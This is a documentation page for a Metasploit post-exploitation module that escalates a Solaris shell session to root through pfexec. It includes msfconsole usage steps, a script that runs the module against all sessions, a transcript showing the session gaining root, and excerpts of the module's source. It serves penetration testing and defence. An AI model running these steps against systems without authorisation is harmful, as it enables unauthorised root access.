Solaris pfexec Upgrade Shell - Metasploit
This page contains detailed information about how to use the post/solaris/escalate/pfexec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Solaris pfexec Upgrade Shell
Module: post/solaris/escalate/pfexec
Source code: modules/post/solaris/escalate/pfexec.rb
Disclosure date: -
Last modification time: 2019-02-01 22:58:21 +0000
Supported architecture(s): -
Supported platform(s): Solaris
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module attempts to upgrade a shell session to UID 0 using pfexec.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/solaris/escalate/pfexec
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/solaris/escalate/pfexec
msf post(pfexec) > show options
... show and set options ...
msf post(pfexec) > set SESSION session-id
msf post(pfexec) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/solaris/escalate/pfexec")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module attempts to upgrade a shell session to UID 0
using pfexec
.
Vulnerable Application
- https://docs.oracle.com/cd/E19253-01/816-4557/prbactm-1/index.html
- http://www.c0t0d0s0.org/archives/4844-Less-known-Solaris-features-pfexec.html
- http://solaris.wikia.com/wiki/Providing_root_privileges_with_pfexec
Verification Steps
- Start
msfconsole
- Get a session
use post/solaris/escalate/pfexec
set SESSION <SESSION>
run
- Your session should now have root privileges
Options
PFEXEC_PATH
Path to pfexec (default: /usr/bin/pfexec
)
SHELL_PATH
Path to shell (default: /bin/sh
)
Scenarios
msf5 > use post/solaris/escalate/pfexec
msf5 post(solaris/escalate/pfexec) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (172.16.191.221)
uid=100(user) gid=10(staff)
msf5 post(solaris/escalate/pfexec) > set verbose true
verbose => true
msf5 post(solaris/escalate/pfexec) > set session 1
session => 1
msf5 post(solaris/escalate/pfexec) > run
[*] Trying pfexec as `user' ...
[*] uid=0(root) gid=0(root)
[+] Success! Upgrading session ...
[+] Success! root shell secured
[*] Post module execution completed
msf5 post(solaris/escalate/pfexec) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (172.16.191.221)
uid=0(root) gid=0(root)
msf5 post(solaris/escalate/pfexec) >
Go back to menu.
Msfconsole Usage
Here is how the solaris/escalate/pfexec post exploitation module looks in the msfconsole:
msf6 > use post/solaris/escalate/pfexec
msf6 post(solaris/escalate/pfexec) > show info
Name: Solaris pfexec Upgrade Shell
Module: post/solaris/escalate/pfexec
Platform: Solaris
Arch:
Rank: Normal
Provided by:
bcoles <[email protected]>
Compatible session types:
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PFEXEC_PATH /usr/bin/pfexec yes Path to pfexec
SESSION yes The session to run this module on.
SHELL_PATH /bin/sh yes Path to shell
Description:
This module attempts to upgrade a shell session to UID 0 using
pfexec.
References:
https://docs.oracle.com/cd/E19253-01/816-4557/prbactm-1/index.html
http://www.c0t0d0s0.org/archives/4844-Less-known-Solaris-features-pfexec.html
http://solaris.wikia.com/wiki/Providing_root_privileges_with_pfexec
Module Options
This is a complete list of options available in the solaris/escalate/pfexec post exploitation module:
msf6 post(solaris/escalate/pfexec) > show options
Module options (post/solaris/escalate/pfexec):
Name Current Setting Required Description
---- --------------- -------- -----------
PFEXEC_PATH /usr/bin/pfexec yes Path to pfexec
SESSION yes The session to run this module on.
SHELL_PATH /bin/sh yes Path to shell
Advanced Options
Here is a complete list of advanced options supported by the solaris/escalate/pfexec post exploitation module:
msf6 post(solaris/escalate/pfexec) > show advanced
Module advanced options (post/solaris/escalate/pfexec):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the solaris/escalate/pfexec module can do:
msf6 post(solaris/escalate/pfexec) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the solaris/escalate/pfexec post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(solaris/escalate/pfexec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
This module is not compatible with <SESSION.TYPE> sessions
Here is a relevant code snippet related to the "This module is not compatible with <SESSION.TYPE> sessions" error message:
39: datastore['PFEXEC_PATH'].to_s
40: end
41:
42: def run
43: unless session.type == 'shell'
44: fail_with Failure::BadConfig, "This module is not compatible with #{session.type} sessions"
45: end
46:
47: if is_root?
48: fail_with Failure::BadConfig, 'Session already has root privileges'
49: end
Session already has root privileges
Here is a relevant code snippet related to the "Session already has root privileges" error message:
43: unless session.type == 'shell'
44: fail_with Failure::BadConfig, "This module is not compatible with #{session.type} sessions"
45: end
46:
47: if is_root?
48: fail_with Failure::BadConfig, 'Session already has root privileges'
49: end
50:
51: unless command_exists? pfexec_path
52: fail_with Failure::NotVulnerable, "#{pfexec_path} does not exist"
53: end
<PFEXEC_PATH> does not exist
Here is a relevant code snippet related to the "<PFEXEC_PATH> does not exist" error message:
47: if is_root?
48: fail_with Failure::BadConfig, 'Session already has root privileges'
49: end
50:
51: unless command_exists? pfexec_path
52: fail_with Failure::NotVulnerable, "#{pfexec_path} does not exist"
53: end
54:
55: user = cmd_exec('id -un').to_s
56:
57: print_status "Trying pfexec as `#{user}' ..."
User `<USER>' does not have permission to escalate with pfexec
Here is a relevant code snippet related to the "User `<USER>' does not have permission to escalate with pfexec" error message:
58:
59: res = cmd_exec "#{pfexec_path} #{shell_path} -c id"
60: vprint_status res
61:
62: unless res.include? 'uid=0'
63: fail_with Failure::NotVulnerable, "User `#{user}' does not have permission to escalate with pfexec"
64: end
65:
66: print_good 'Success! Upgrading session ...'
67:
68: cmd_exec "#{pfexec_path} #{shell_path}"
Failed to escalate
Here is a relevant code snippet related to the "Failed to escalate" error message:
66: print_good 'Success! Upgrading session ...'
67:
68: cmd_exec "#{pfexec_path} #{shell_path}"
69:
70: unless is_root?
71: fail_with Failure::NotVulnerable, 'Failed to escalate'
72: end
73:
74: print_good 'Success! root shell secured'
75: report_note(
76: :host => session,
Go back to menu.
Related Pull Requests
References
- CVE: Not available
- https://docs.oracle.com/cd/E19253-01/816-4557/prbactm-1/index.html
- http://www.c0t0d0s0.org/archives/4844-Less-known-Solaris-features-pfexec.html
- http://solaris.wikia.com/wiki/Providing_root_privileges_with_pfexec
See Also
Check also the following modules related to this module:
- auxiliary/admin/sunrpc/solaris_kcms_readfile
- auxiliary/dos/solaris/lpd/cascade_delete
- exploit/solaris/dtspcd/heap_noir
- exploit/solaris/local/extremeparr_dtappgather_priv_esc
- exploit/solaris/local/libnspr_nspr_log_file_priv_esc
- exploit/solaris/local/rsh_stack_clash_priv_esc
- exploit/solaris/local/xscreensaver_log_priv_esc
- exploit/solaris/lpd/sendmail_exec
- exploit/solaris/samba/lsa_transnames_heap
- exploit/solaris/samba/trans2open
- exploit/solaris/ssh/pam_username_bof
- exploit/solaris/sunrpc/sadmind_adm_build_path
- exploit/solaris/sunrpc/sadmind_exec
- exploit/solaris/sunrpc/ypupdated_exec
- exploit/solaris/telnet/fuser
- exploit/solaris/telnet/ttyprompt
- payload/solaris/sparc/shell_bind_tcp
- payload/solaris/sparc/shell_find_port
- payload/solaris/sparc/shell_reverse_tcp
- payload/solaris/x86/shell_bind_tcp
- payload/solaris/x86/shell_find_port
- payload/solaris/x86/shell_reverse_tcp
- post/solaris/escalate/srsexec_readline
- post/solaris/gather/checkvm
- post/solaris/gather/enum_packages
- post/solaris/gather/enum_services
- post/solaris/gather/hashdump
Authors
- bcoles
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.